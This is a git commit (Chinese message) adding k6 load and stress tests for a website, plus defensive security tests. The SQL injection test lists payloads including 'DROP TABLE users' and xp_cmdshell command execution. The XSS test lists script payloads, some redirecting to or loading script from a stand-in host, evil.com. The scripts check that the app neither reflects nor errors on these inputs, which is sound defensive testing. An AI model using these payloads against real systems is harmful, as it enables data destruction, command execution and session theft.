feat: 添加性能和安全测试,完善部署文档

阶段五:性能和安全测试
- 创建负载测试脚本:模拟正常用户访问模式
- 创建压力测试脚本:测试系统极限性能
- 创建SQL注入测试脚本:验证SQL注入防护
- 创建XSS防护测试脚本:验证XSS防护
- 添加测试脚本到package.json

阶段六:文档和培训
- 更新README.md:添加监控和告警文档
- 添加性能测试文档和命令
- 添加安全测试文档和命令
- 添加Docker部署文档
- 添加生产环境配置文档
- 添加备份和恢复文档
This commit is contained in:
张翔
2026-03-09 11:12:26 +08:00
parent 4897c6e11c
commit 261c45b4d9
7 changed files with 603 additions and 2 deletions
+55
View File
@@ -0,0 +1,55 @@
import http from 'k6/http';
import { check, sleep } from 'k6';
import { Rate, Trend } from 'k6/metrics';
const errorRate = new Rate('errors');
const responseTime = new Trend('response_time');
export const options = {
stages: [
{ duration: '2m', target: 100 }, // 2分钟内逐步增加到100用户
{ duration: '5m', target: 100 }, // 保持100用户5分钟
{ duration: '2m', target: 200 }, // 2分钟内增加到200用户
{ duration: '5m', target: 200 }, // 保持200用户5分钟
{ duration: '2m', target: 0 }, // 2分钟内减少到0
],
thresholds: {
http_req_duration: ['p(95)<500', 'p(99)<1000'], // 95%请求<500ms, 99%请求<1s
http_req_failed: ['rate<0.01'], // 错误率<1%
errors: ['rate<0.01'],
},
};
const BASE_URL = __ENV.BASE_URL || 'http://localhost:3000';
export default function () {
const pages = [
'/',
'/about',
'/services',
'/products',
'/news',
'/contact',
];
const page = pages[Math.floor(Math.random() * pages.length)];
const res = http.get(`${BASE_URL}${page}`, {
tags: { name: page },
});
const success = check(res, {
'status is 200': (r) => r.status === 200,
'response time < 500ms': (r) => r.timings.duration < 500,
});
errorRate.add(!success);
responseTime.add(res.timings.duration);
sleep(Math.random() * 3 + 1); // 1-4秒随机等待
}
export function handleSummary(data) {
return {
'performance/load-test-summary.json': JSON.stringify(data, null, 2),
};
}
+67
View File
@@ -0,0 +1,67 @@
import http from 'k6/http';
import { check, sleep } from 'k6';
import { Rate, Trend } from 'k6/metrics';
const errorRate = new Rate('errors');
const responseTime = new Trend('response_time');
export const options = {
stages: [
{ duration: '1m', target: 50 }, // 1分钟内增加到50用户
{ duration: '2m', target: 100 }, // 2分钟内增加到100用户
{ duration: '3m', target: 200 }, // 3分钟内增加到200用户
{ duration: '5m', target: 300 }, // 5分钟内增加到300用户(压力峰值)
{ duration: '2m', target: 100 }, // 2分钟内减少到100用户
{ duration: '1m', target: 0 }, // 1分钟内减少到0
],
thresholds: {
http_req_duration: ['p(95)<1000', 'p(99)<2000'], // 95%请求<1s, 99%请求<2s
http_req_failed: ['rate<0.05'], // 错误率<5%(压力测试允许更高)
errors: ['rate<0.05'],
},
};
const BASE_URL = __ENV.BASE_URL || 'http://localhost:3000';
export default function () {
const scenarios = [
{ method: 'GET', path: '/', name: '首页' },
{ method: 'GET', path: '/api/health', name: '健康检查' },
{ method: 'POST', path: '/api/contact', name: '联系表单', body: JSON.stringify({
name: 'Test User',
email: 'test@example.com',
phone: '13800138000',
message: 'This is a test message',
}) },
];
const scenario = scenarios[Math.floor(Math.random() * scenarios.length)];
let res;
if (scenario.method === 'POST') {
res = http.post(`${BASE_URL}${scenario.path}`, scenario.body, {
headers: { 'Content-Type': 'application/json' },
tags: { name: scenario.name },
});
} else {
res = http.get(`${BASE_URL}${scenario.path}`, {
tags: { name: scenario.name },
});
}
const success = check(res, {
'status is 200 or 201': (r) => [200, 201].includes(r.status),
'response time < 1000ms': (r) => r.timings.duration < 1000,
});
errorRate.add(!success);
responseTime.add(res.timings.duration);
sleep(Math.random() * 2 + 0.5); // 0.5-2.5秒随机等待
}
export function handleSummary(data) {
return {
'performance/stress-test-summary.json': JSON.stringify(data, null, 2),
};
}
+83
View File
@@ -0,0 +1,83 @@
import http from 'k6/http';
import { check } from 'k6';
export const options = {
thresholds: {
checks: ['rate==1.0'], // 所有安全检查必须通过
},
};
const BASE_URL = __ENV.BASE_URL || 'http://localhost:3000';
const sqlInjectionPayloads = [
"' OR '1'='1",
"' OR '1'='1' --",
"' OR '1'='1' /*",
"' OR 1=1 --",
"admin'--",
"admin'/*",
"' UNION SELECT NULL--",
"1' ORDER BY 1--",
"'; DROP TABLE users--",
"'; INSERT INTO users--",
"' OR SLEEP(5)--",
"1' AND SLEEP(5)--",
"'; WAITFOR DELAY '0:0:5'--",
"1'; EXEC xp_cmdshell('dir')--",
"'; EXEC master..xp_cmdshell 'dir'--",
];
export default function () {
let allPassed = true;
sqlInjectionPayloads.forEach((payload) => {
const testCases = [
{
name: 'Contact Form - SQL Injection',
url: `${BASE_URL}/api/contact`,
method: 'POST',
body: JSON.stringify({
name: payload,
email: 'test@example.com',
phone: '13800138000',
message: 'Test message',
}),
},
{
name: 'Search - SQL Injection',
url: `${BASE_URL}/api/search?q=${encodeURIComponent(payload)}`,
method: 'GET',
},
];
testCases.forEach((testCase) => {
let res;
if (testCase.method === 'POST') {
res = http.post(testCase.url, testCase.body, {
headers: { 'Content-Type': 'application/json' },
tags: { name: testCase.name },
});
} else {
res = http.get(testCase.url, {
tags: { name: testCase.name },
});
}
const passed = check(res, {
'status is 200 or 400 or 422': (r) => [200, 400, 422].includes(r.status),
'no SQL error in response': (r) => !r.body.includes('SQL') && !r.body.includes('syntax error'),
'no database error in response': (r) => !r.body.includes('database') && !r.body.includes('mysql'),
'no stack trace in response': (r) => !r.body.includes('stack trace') && !r.body.includes('Error:'),
});
if (!passed) {
allPassed = false;
console.error(`SQL Injection test failed for payload: ${payload}`);
}
});
});
if (!allPassed) {
throw new Error('SQL Injection tests failed');
}
}
+98
View File
@@ -0,0 +1,98 @@
import http from 'k6/http';
import { check } from 'k6';
export const options = {
thresholds: {
checks: ['rate==1.0'], // 所有安全检查必须通过
},
};
const BASE_URL = __ENV.BASE_URL || 'http://localhost:3000';
const xssPayloads = [
'<script>alert("XSS")</script>',
'<img src=x onerror=alert("XSS")>',
'<svg onload=alert("XSS")>',
'<body onload=alert("XSS")>',
'<input onfocus=alert("XSS") autofocus>',
'<select onfocus=alert("XSS") autofocus>',
'<textarea onfocus=alert("XSS") autofocus>',
'<keygen onfocus=alert("XSS") autofocus>',
'<video><source onerror=alert("XSS")>',
'<audio src=x onerror=alert("XSS")>',
'<iframe src="javascript:alert("XSS")">',
'<details open ontoggle=alert("XSS")>',
'<marquee onstart=alert("XSS")>',
'<isindex action="javascript:alert("XSS")">',
'<form><button formaction="javascript:alert("XSS")">X</button></form>',
'javascript:alert("XSS")',
'<script>document.location="http://evil.com"</script>',
'<img src=x onerror="document.location=\'http://evil.com\'">',
'<svg><script>document.location="http://evil.com"</script></svg>',
'<script src="http://evil.com/xss.js"></script>',
'<link rel="stylesheet" href="javascript:alert("XSS")">',
];
export default function () {
let allPassed = true;
xssPayloads.forEach((payload) => {
const testCases = [
{
name: 'Contact Form - XSS',
url: `${BASE_URL}/api/contact`,
method: 'POST',
body: JSON.stringify({
name: payload,
email: 'test@example.com',
phone: '13800138000',
message: payload,
}),
},
{
name: 'Search - XSS',
url: `${BASE_URL}/api/search?q=${encodeURIComponent(payload)}`,
method: 'GET',
},
];
testCases.forEach((testCase) => {
let res;
if (testCase.method === 'POST') {
res = http.post(testCase.url, testCase.body, {
headers: { 'Content-Type': 'application/json' },
tags: { name: testCase.name },
});
} else {
res = http.get(testCase.url, {
tags: { name: testCase.name },
});
}
const passed = check(res, {
'status is 200 or 400 or 422': (r) => [200, 400, 422].includes(r.status),
'XSS payload not reflected in response': (r) => {
const lowerBody = r.body.toLowerCase();
return !lowerBody.includes('<script>') &&
!lowerBody.includes('onerror=') &&
!lowerBody.includes('onload=') &&
!lowerBody.includes('onfocus=') &&
!lowerBody.includes('javascript:') &&
!lowerBody.includes('document.location');
},
'no alert in response': (r) => !r.body.includes('alert('),
'no iframe in response': (r) => !r.body.includes('<iframe'),
'no external script in response': (r) => !r.body.includes('http://evil.com'),
});
if (!passed) {
allPassed = false;
console.error(`XSS test failed for payload: ${payload}`);
}
});
});
if (!allPassed) {
throw new Error('XSS tests failed');
}
}